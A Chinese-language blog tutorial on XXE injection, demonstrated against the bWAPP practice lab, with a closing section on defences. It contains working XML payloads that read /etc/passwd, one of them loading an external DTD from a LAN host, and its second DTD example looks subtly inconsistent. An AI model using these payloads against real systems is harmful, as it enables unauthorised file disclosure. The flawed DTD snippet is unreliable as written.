XXE注入--XML外部實體注入(XML External Entity)
阿新 • • 發佈:2019-01-25
前言
很早就聽說過這個漏洞,但是在實際的環境中很少遇見,最近碰到過XXE注入漏洞,於是就來研究一下XXE注入。
XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊.漏洞是在對非安全的外部實體資料進⾏行處理時引發的安全問題
XML知識
XML用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。
DTD(文件型別定義)的作用是定義 XML 文件的合法構建模組。DTD 可以在 XML 文件內宣告,也可以外部引用。
**內部宣告DTD**
<!DOCTYPE 根元素 [元素宣告]>
**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "檔名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "檔名">
DTD實體是用於定義引用普通文字或特殊字元的快捷方式的變數,可以內部宣告或外部引用。
**內部宣告實體**
<!ENTITY 實體名稱 "實體的值">
**引用外部實體**
<!ENTITY 實體名稱 SYSTEM "URI">
或者
<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">
XML外部實體注入(XML External Entity)
當允許引用外部實體時,通過構造惡意內容,可導致讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等危害。我這裡使用bWAPP漏洞靶場來介紹兩種利用XXE漏洞的方式:
惡意引入外部實體一
XML程式碼:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc//passwd">]>
<login>&b;</login>
- 在bWAPP靶場中選擇好XXE漏洞,再使用burpsuite抓取資料包;
- 再burpsuite中可以看到抓取的POST包中傳遞的是XML,我們就這這裡修改並插入構造好的XML程式碼;
- 我們現在將上面的程式碼修改;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">]>
<reset>
<login>&b;</login>
<secret>login</secret>
</reset>
- 最後點選“go”放POST包,響應包中就有我們需要的passwd檔案內容;
惡意引入外部實體二
這個方法是通過XML引用外面的DTD檔案來利用XXE漏洞
XML程式碼:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://192.168.1.19/1.dtd">
%d;]>
<reset>
<login>&b;</login>
<secret>Any bugs?</secret>
</reset>
DTD檔案(1.dtd)內容
<!ENTITY %b SYSTEM "file:///etc/passwd">
- 還是老樣子,使用burp suite抓取POST資料包,再POST包中修改XML程式碼;
- 在本地搭建伺服器,編寫好DTD檔案,以便XML能夠引用;
3.最後點選“go”放POST包,響應包中就有我們需要的passwd檔案內容;
防禦XXE攻擊
方案一、使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、過濾使用者提交的XML資料
關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
bWAPP靶場可以參見以下連結